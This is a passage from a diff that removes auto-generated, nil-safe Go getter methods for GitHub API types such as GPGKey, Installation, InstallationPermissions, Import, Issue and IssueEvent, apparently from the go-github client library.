the Installation field. -func (g *GollumEvent) GetInstallation() *Installation { - if g == nil { - return nil - } - return g.Installation -} - -// GetRepo returns the Repo field. -func (g *GollumEvent) GetRepo() *Repository { - if g == nil { - return nil - } - return g.Repo -} - -// GetSender returns the Sender field. -func (g *GollumEvent) GetSender() *User { - if g == nil { - return nil - } - return g.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (g *GPGEmail) GetEmail() string { - if g == nil || g.Email == nil { - return "" - } - return *g.Email -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (g *GPGEmail) GetVerified() bool { - if g == nil || g.Verified == nil { - return false - } - return *g.Verified -} - -// GetCanCertify returns the CanCertify field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanCertify() bool { - if g == nil || g.CanCertify == nil { - return false - } - return *g.CanCertify -} - -// GetCanEncryptComms returns the CanEncryptComms field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanEncryptComms() bool { - if g == nil || g.CanEncryptComms == nil { - return false - } - return *g.CanEncryptComms -} - -// GetCanEncryptStorage returns the CanEncryptStorage field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanEncryptStorage() bool { - if g == nil || g.CanEncryptStorage == nil { - return false - } - return *g.CanEncryptStorage -} - -// GetCanSign returns the CanSign field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanSign() bool { - if g == nil || g.CanSign == nil { - return false - } - return *g.CanSign -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetExpiresAt() time.Time { - if g == nil || g.ExpiresAt == nil { - return time.Time{} - } - return *g.ExpiresAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetKeyID returns the KeyID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetKeyID() string { - if g == nil || g.KeyID == nil { - return "" - } - return *g.KeyID -} - -// GetPrimaryKeyID returns the PrimaryKeyID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetPrimaryKeyID() int64 { - if g == nil || g.PrimaryKeyID == nil { - return 0 - } - return *g.PrimaryKeyID -} - -// GetPublicKey returns the PublicKey field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetPublicKey() string { - if g == nil || g.PublicKey == nil { - return "" - } - return *g.PublicKey -} - -// GetApp returns the App field. -func (g *Grant) GetApp() *AuthorizationApp { - if g == nil { - return nil - } - return g.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *Grant) GetCreatedAt() Timestamp { - if g == nil || g.CreatedAt == nil { - return Timestamp{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *Grant) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *Grant) GetUpdatedAt() Timestamp { - if g == nil || g.UpdatedAt == nil { - return Timestamp{} - } - return *g.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *Grant) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetActive returns the Active field if it's non-nil, zero value otherwise. -func (h *Hook) GetActive() bool { - if h == nil || h.Active == nil { - return false - } - return *h.Active -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (h *Hook) GetCreatedAt() time.Time { - if h == nil || h.CreatedAt == nil { - return time.Time{} - } - return *h.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (h *Hook) GetID() int64 { - if h == nil || h.ID == nil { - return 0 - } - return *h.ID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (h *Hook) GetUpdatedAt() time.Time { - if h == nil || h.UpdatedAt == nil { - return time.Time{} - } - return *h.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (h *Hook) GetURL() string { - if h == nil || h.URL == nil { - return "" - } - return *h.URL -} - -// GetActiveHooks returns the ActiveHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetActiveHooks() int { - if h == nil || h.ActiveHooks == nil { - return 0 - } - return *h.ActiveHooks -} - -// GetInactiveHooks returns the InactiveHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetInactiveHooks() int { - if h == nil || h.InactiveHooks == nil { - return 0 - } - return *h.InactiveHooks -} - -// GetTotalHooks returns the TotalHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetTotalHooks() int { - if h == nil || h.TotalHooks == nil { - return 0 - } - return *h.TotalHooks -} - -// GetGroupDescription returns the GroupDescription field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupDescription() string { - if i == nil || i.GroupDescription == nil { - return "" - } - return *i.GroupDescription -} - -// GetGroupID returns the GroupID field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupID() string { - if i == nil || i.GroupID == nil { - return "" - } - return *i.GroupID -} - -// GetGroupName returns the GroupName field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupName() string { - if i == nil || i.GroupName == nil { - return "" - } - return *i.GroupName -} - -// GetAuthorsCount returns the AuthorsCount field if it's non-nil, zero value otherwise. -func (i *Import) GetAuthorsCount() int { - if i == nil || i.AuthorsCount == nil { - return 0 - } - return *i.AuthorsCount -} - -// GetAuthorsURL returns the AuthorsURL field if it's non-nil, zero value otherwise. -func (i *Import) GetAuthorsURL() string { - if i == nil || i.AuthorsURL == nil { - return "" - } - return *i.AuthorsURL -} - -// GetCommitCount returns the CommitCount field if it's non-nil, zero value otherwise. -func (i *Import) GetCommitCount() int { - if i == nil || i.CommitCount == nil { - return 0 - } - return *i.CommitCount -} - -// GetFailedStep returns the FailedStep field if it's non-nil, zero value otherwise. -func (i *Import) GetFailedStep() string { - if i == nil || i.FailedStep == nil { - return "" - } - return *i.FailedStep -} - -// GetHasLargeFiles returns the HasLargeFiles field if it's non-nil, zero value otherwise. -func (i *Import) GetHasLargeFiles() bool { - if i == nil || i.HasLargeFiles == nil { - return false - } - return *i.HasLargeFiles -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Import) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetHumanName returns the HumanName field if it's non-nil, zero value otherwise. -func (i *Import) GetHumanName() string { - if i == nil || i.HumanName == nil { - return "" - } - return *i.HumanName -} - -// GetLargeFilesCount returns the LargeFilesCount field if it's non-nil, zero value otherwise. -func (i *Import) GetLargeFilesCount() int { - if i == nil || i.LargeFilesCount == nil { - return 0 - } - return *i.LargeFilesCount -} - -// GetLargeFilesSize returns the LargeFilesSize field if it's non-nil, zero value otherwise. -func (i *Import) GetLargeFilesSize() int { - if i == nil || i.LargeFilesSize == nil { - return 0 - } - return *i.LargeFilesSize -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (i *Import) GetMessage() string { - if i == nil || i.Message == nil { - return "" - } - return *i.Message -} - -// GetPercent returns the Percent field if it's non-nil, zero value otherwise. -func (i *Import) GetPercent() int { - if i == nil || i.Percent == nil { - return 0 - } - return *i.Percent -} - -// GetPushPercent returns the PushPercent field if it's non-nil, zero value otherwise. -func (i *Import) GetPushPercent() int { - if i == nil || i.PushPercent == nil { - return 0 - } - return *i.PushPercent -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (i *Import) GetRepositoryURL() string { - if i == nil || i.RepositoryURL == nil { - return "" - } - return *i.RepositoryURL -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (i *Import) GetStatus() string { - if i == nil || i.Status == nil { - return "" - } - return *i.Status -} - -// GetStatusText returns the StatusText field if it's non-nil, zero value otherwise. -func (i *Import) GetStatusText() string { - if i == nil || i.StatusText == nil { - return "" - } - return *i.StatusText -} - -// GetTFVCProject returns the TFVCProject field if it's non-nil, zero value otherwise. -func (i *Import) GetTFVCProject() string { - if i == nil || i.TFVCProject == nil { - return "" - } - return *i.TFVCProject -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *Import) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUseLFS returns the UseLFS field if it's non-nil, zero value otherwise. -func (i *Import) GetUseLFS() string { - if i == nil || i.UseLFS == nil { - return "" - } - return *i.UseLFS -} - -// GetVCS returns the VCS field if it's non-nil, zero value otherwise. -func (i *Import) GetVCS() string { - if i == nil || i.VCS == nil { - return "" - } - return *i.VCS -} - -// GetVCSPassword returns the VCSPassword field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSPassword() string { - if i == nil || i.VCSPassword == nil { - return "" - } - return *i.VCSPassword -} - -// GetVCSURL returns the VCSURL field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSURL() string { - if i == nil || i.VCSURL == nil { - return "" - } - return *i.VCSURL -} - -// GetVCSUsername returns the VCSUsername field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSUsername() string { - if i == nil || i.VCSUsername == nil { - return "" - } - return *i.VCSUsername -} - -// GetAccessTokensURL returns the AccessTokensURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetAccessTokensURL() string { - if i == nil || i.AccessTokensURL == nil { - return "" - } - return *i.AccessTokensURL -} - -// GetAccount returns the Account field. -func (i *Installation) GetAccount() *User { - if i == nil { - return nil - } - return i.Account -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (i *Installation) GetAppID() int64 { - if i == nil || i.AppID == nil { - return 0 - } - return *i.AppID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Installation) GetCreatedAt() Timestamp { - if i == nil || i.CreatedAt == nil { - return Timestamp{} - } - return *i.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Installation) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetPermissions returns the Permissions field. -func (i *Installation) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetRepositoriesURL() string { - if i == nil || i.RepositoriesURL == nil { - return "" - } - return *i.RepositoriesURL -} - -// GetRepositorySelection returns the RepositorySelection field if it's non-nil, zero value otherwise. -func (i *Installation) GetRepositorySelection() string { - if i == nil || i.RepositorySelection == nil { - return "" - } - return *i.RepositorySelection -} - -// GetSingleFileName returns the SingleFileName field if it's non-nil, zero value otherwise. -func (i *Installation) GetSingleFileName() string { - if i == nil || i.SingleFileName == nil { - return "" - } - return *i.SingleFileName -} - -// GetTargetID returns the TargetID field if it's non-nil, zero value otherwise. -func (i *Installation) GetTargetID() int64 { - if i == nil || i.TargetID == nil { - return 0 - } - return *i.TargetID -} - -// GetTargetType returns the TargetType field if it's non-nil, zero value otherwise. -func (i *Installation) GetTargetType() string { - if i == nil || i.TargetType == nil { - return "" - } - return *i.TargetType -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *Installation) GetUpdatedAt() Timestamp { - if i == nil || i.UpdatedAt == nil { - return Timestamp{} - } - return *i.UpdatedAt -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *InstallationEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetInstallation returns the Installation field. -func (i *InstallationEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetSender returns the Sender field. -func (i *InstallationEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetAdministration returns the Administration field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetAdministration() string { - if i == nil || i.Administration == nil { - return "" - } - return *i.Administration -} - -// GetBlocking returns the Blocking field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetBlocking() string { - if i == nil || i.Blocking == nil { - return "" - } - return *i.Blocking -} - -// GetChecks returns the Checks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetChecks() string { - if i == nil || i.Checks == nil { - return "" - } - return *i.Checks -} - -// GetContentReferences returns the ContentReferences field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetContentReferences() string { - if i == nil || i.ContentReferences == nil { - return "" - } - return *i.ContentReferences -} - -// GetContents returns the Contents field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetContents() string { - if i == nil || i.Contents == nil { - return "" - } - return *i.Contents -} - -// GetDeployments returns the Deployments field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetDeployments() string { - if i == nil || i.Deployments == nil { - return "" - } - return *i.Deployments -} - -// GetEmails returns the Emails field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetEmails() string { - if i == nil || i.Emails == nil { - return "" - } - return *i.Emails -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetFollowers() string { - if i == nil || i.Followers == nil { - return "" - } - return *i.Followers -} - -// GetIssues returns the Issues field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetIssues() string { - if i == nil || i.Issues == nil { - return "" - } - return *i.Issues -} - -// GetMembers returns the Members field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetMembers() string { - if i == nil || i.Members == nil { - return "" - } - return *i.Members -} - -// GetMetadata returns the Metadata field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetMetadata() string { - if i == nil || i.Metadata == nil { - return "" - } - return *i.Metadata -} - -// GetOrganizationAdministration returns the OrganizationAdministration field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationAdministration() string { - if i == nil || i.OrganizationAdministration == nil { - return "" - } - return *i.OrganizationAdministration -} - -// GetOrganizationHooks returns the OrganizationHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationHooks() string { - if i == nil || i.OrganizationHooks == nil { - return "" - } - return *i.OrganizationHooks -} - -// GetOrganizationPlan returns the OrganizationPlan field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationPlan() string { - if i == nil || i.OrganizationPlan == nil { - return "" - } - return *i.OrganizationPlan -} - -// GetOrganizationPreReceiveHooks returns the OrganizationPreReceiveHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationPreReceiveHooks() string { - if i == nil || i.OrganizationPreReceiveHooks == nil { - return "" - } - return *i.OrganizationPreReceiveHooks -} - -// GetOrganizationProjects returns the OrganizationProjects field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationProjects() string { - if i == nil || i.OrganizationProjects == nil { - return "" - } - return *i.OrganizationProjects -} - -// GetOrganizationUserBlocking returns the OrganizationUserBlocking field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationUserBlocking() string { - if i == nil || i.OrganizationUserBlocking == nil { - return "" - } - return *i.OrganizationUserBlocking -} - -// GetPackages returns the Packages field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPackages() string { - if i == nil || i.Packages == nil { - return "" - } - return *i.Packages -} - -// GetPages returns the Pages field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPages() string { - if i == nil || i.Pages == nil { - return "" - } - return *i.Pages -} - -// GetPullRequests returns the PullRequests field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetPullRequests() string { - if i == nil || i.PullRequests == nil { - return "" - } - return *i.PullRequests -} - -// GetRepositoryHooks returns the RepositoryHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryHooks() string { - if i == nil || i.RepositoryHooks == nil { - return "" - } - return *i.RepositoryHooks -} - -// GetRepositoryPreReceiveHooks returns the RepositoryPreReceiveHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryPreReceiveHooks() string { - if i == nil || i.RepositoryPreReceiveHooks == nil { - return "" - } - return *i.RepositoryPreReceiveHooks -} - -// GetRepositoryProjects returns the RepositoryProjects field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetRepositoryProjects() string { - if i == nil || i.RepositoryProjects == nil { - return "" - } - return *i.RepositoryProjects -} - -// GetSingleFile returns the SingleFile field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetSingleFile() string { - if i == nil || i.SingleFile == nil { - return "" - } - return *i.SingleFile -} - -// GetStatuses returns the Statuses field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetStatuses() string { - if i == nil || i.Statuses == nil { - return "" - } - return *i.Statuses -} - -// GetTeamDiscussions returns the TeamDiscussions field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetTeamDiscussions() string { - if i == nil || i.TeamDiscussions == nil { - return "" - } - return *i.TeamDiscussions -} - -// GetVulnerabilityAlerts returns the VulnerabilityAlerts field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetVulnerabilityAlerts() string { - if i == nil || i.VulnerabilityAlerts == nil { - return "" - } - return *i.VulnerabilityAlerts -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *InstallationRepositoriesEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetInstallation returns the Installation field. -func (i *InstallationRepositoriesEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetRepositorySelection returns the RepositorySelection field if it's non-nil, zero value otherwise. -func (i *InstallationRepositoriesEvent) GetRepositorySelection() string { - if i == nil || i.RepositorySelection == nil { - return "" - } - return *i.RepositorySelection -} - -// GetSender returns the Sender field. -func (i *InstallationRepositoriesEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (i *InstallationToken) GetExpiresAt() time.Time { - if i == nil || i.ExpiresAt == nil { - return time.Time{} - } - return *i.ExpiresAt -} - -// GetPermissions returns the Permissions field. -func (i *InstallationToken) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (i *InstallationToken) GetToken() string { - if i == nil || i.Token == nil { - return "" - } - return *i.Token -} - -// GetPermissions returns the Permissions field. -func (i *InstallationTokenOptions) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetExpiresAt() Timestamp { - if i == nil || i.ExpiresAt == nil { - return Timestamp{} - } - return *i.ExpiresAt -} - -// GetLimit returns the Limit field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetLimit() string { - if i == nil || i.Limit == nil { - return "" - } - return *i.Limit -} - -// GetOrigin returns the Origin field if it's non-nil, zero value otherwise. -func (i *InteractionRestriction) GetOrigin() string { - if i == nil || i.Origin == nil { - return "" - } - return *i.Origin -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Invitation) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (i *Invitation) GetEmail() string { - if i == nil || i.Email == nil { - return "" - } - return *i.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Invitation) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetInvitationTeamURL returns the InvitationTeamURL field if it's non-nil, zero value otherwise. -func (i *Invitation) GetInvitationTeamURL() string { - if i == nil || i.InvitationTeamURL == nil { - return "" - } - return *i.InvitationTeamURL -} - -// GetInviter returns the Inviter field. -func (i *Invitation) GetInviter() *User { - if i == nil { - return nil - } - return i.Inviter -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (i *Invitation) GetLogin() string { - if i == nil || i.Login == nil { - return "" - } - return *i.Login -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *Invitation) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (i *Invitation) GetRole() string { - if i == nil || i.Role == nil { - return "" - } - return *i.Role -} - -// GetTeamCount returns the TeamCount field if it's non-nil, zero value otherwise. -func (i *Invitation) GetTeamCount() int { - if i == nil || i.TeamCount == nil { - return 0 - } - return *i.TeamCount -} - -// GetActiveLockReason returns the ActiveLockReason field if it's non-nil, zero value otherwise. -func (i *Issue) GetActiveLockReason() string { - if i == nil || i.ActiveLockReason == nil { - return "" - } - return *i.ActiveLockReason -} - -// GetAssignee returns the Assignee field. -func (i *Issue) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *Issue) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetClosedAt() time.Time { - if i == nil || i.ClosedAt == nil { - return time.Time{} - } - return *i.ClosedAt -} - -// GetClosedBy returns the ClosedBy field. -func (i *Issue) GetClosedBy() *User { - if i == nil { - return nil - } - return i.ClosedBy -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (i *Issue) GetComments() int { - if i == nil || i.Comments == nil { - return 0 - } - return *i.Comments -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetCommentsURL() string { - if i == nil || i.CommentsURL == nil { - return "" - } - return *i.CommentsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetEventsURL() string { - if i == nil || i.EventsURL == nil { - return "" - } - return *i.EventsURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Issue) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetLabelsURL() string { - if i == nil || i.LabelsURL == nil { - return "" - } - return *i.LabelsURL -} - -// GetLocked returns the Locked field if it's non-nil, zero value otherwise. -func (i *Issue) GetLocked() bool { - if i == nil || i.Locked == nil { - return false - } - return *i.Locked -} - -// GetMilestone returns the Milestone field. -func (i *Issue) GetMilestone() *Milestone { - if i == nil { - return nil - } - return i.Milestone -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *Issue) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (i *Issue) GetNumber() int { - if i == nil || i.Number == nil { - return 0 - } - return *i.Number -} - -// GetPullRequestLinks returns the PullRequestLinks field. -func (i *Issue) GetPullRequestLinks() *PullRequestLinks { - if i == nil { - return nil - } - return i.PullRequestLinks -} - -// GetReactions returns the Reactions field. -func (i *Issue) GetReactions() *Reactions { - if i == nil { - return nil - } - return i.Reactions -} - -// GetRepository returns the Repository field. -func (i *Issue) GetRepository() *Repository { - if i == nil { - return nil - } - return i.Repository -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (i *Issue) GetRepositoryURL() string { - if i == nil || i.RepositoryURL == nil { - return "" - } - return *i.RepositoryURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (i *Issue) GetState() string { - if i == nil || i.State == nil { - return "" - } - return *i.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (i *Issue) GetTitle() string { - if i == nil || i.Title == nil { - return "" - } - return *i.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *Issue) GetUpdatedAt() time.Time { - if i == nil || i.UpdatedAt == nil { - return time.Time{} - } - return *i.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *Issue) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUser returns the User field. -func (i *Issue) GetUser() *User { - if i == nil { - return nil - } - return i.User -} - -// GetAuthorAssociation returns the AuthorAssociation field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetAuthorAssociation() string { - if i == nil || i.AuthorAssociation == nil { - return "" - } - return *i.AuthorAssociation -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetBody() string { - if i == nil || i.Body == nil { - return "" - } - return *i.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetIssueURL returns the IssueURL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetIssueURL() string { - if i == nil || i.IssueURL == nil { - return "" - } - return *i.IssueURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetNodeID() string { - if i == nil || i.NodeID == nil { - return "" - } - return *i.NodeID -} - -// GetReactions returns the Reactions field. -func (i *IssueComment) GetReactions() *Reactions { - if i == nil { - return nil - } - return i.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetUpdatedAt() time.Time { - if i == nil || i.UpdatedAt == nil { - return time.Time{} - } - return *i.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *IssueComment) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUser returns the User field. -func (i *IssueComment) GetUser() *User { - if i == nil { - return nil - } - return i.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *IssueCommentEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetChanges returns the Changes field. -func (i *IssueCommentEvent) GetChanges() *EditChange { - if i == nil { - return nil - } - return i.Changes -} - -// GetComment returns the Comment field. -func (i *IssueCommentEvent) GetComment() *IssueComment { - if i == nil { - return nil - } - return i.Comment -} - -// GetInstallation returns the Installation field. -func (i *IssueCommentEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetIssue returns the Issue field. -func (i *IssueCommentEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetRepo returns the Repo field. -func (i *IssueCommentEvent) GetRepo() *Repository { - if i == nil { - return nil - } - return i.Repo -} - -// GetSender returns the Sender field. -func (i *IssueCommentEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetActor returns the Actor field. -func (i *IssueEvent) GetActor() *User { - if i == nil { - return nil - } - return i.Actor -} - -// GetAssignee returns the Assignee field. -func (i *IssueEvent) GetAssignee() *User { - if i == nil { - return nil - } - return i.Assignee -} - -// GetAssigner returns the Assigner field. -func (i *IssueEvent) GetAssigner() *User { - if i == nil { - return nil - } - return i.Assigner -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetCommitID() string { - if i == nil || i.CommitID == nil { - return "" - } - return *i.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetCreatedAt() time.Time { - if i == nil || i.CreatedAt == nil { - return time.Time{} - } - return *i.CreatedAt -} - -// GetDismissedReview returns the DismissedReview field. -func (i *IssueEvent) GetDismissedReview() *DismissedReview { - if i == nil { - return nil - } - return i.DismissedReview -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetEvent() string { - if i == nil || i.Event == nil { - return "" - } - return *i.Event -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetIssue returns the Issue field. -func (i *IssueEvent) GetIssue() *Issue { - if i == nil { - return nil - } - return i.Issue -} - -// GetLabel returns the Label field. -func (i *IssueEvent) GetLabel() *Label { - if i == nil { - return nil - } - return i.Label -} - -// GetLockReason returns the LockReason field if it's non-nil, zero value otherwise. -func (i *IssueEvent) GetLockReason() string { - if i == nil || i.LockReason == nil { - return "" - } - return *i.LockReason -} - -// GetMilestone returns the Milestone field. -func (i *IssueEvent) GetMilestone() *Milestone { - if i == nil { - return nil - } - return i.Milestone -} - -// GetProjectCard returns the ProjectCard field. -func (i *IssueEvent) GetProjectCard() *ProjectCard { - if i == nil { - return nil - } - return i.ProjectCard -} - -// GetRename returns the Rename field. -func (i *IssueEvent) GetRename() *Rename { - if i == nil { - return nil - } - return i.Rename -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i 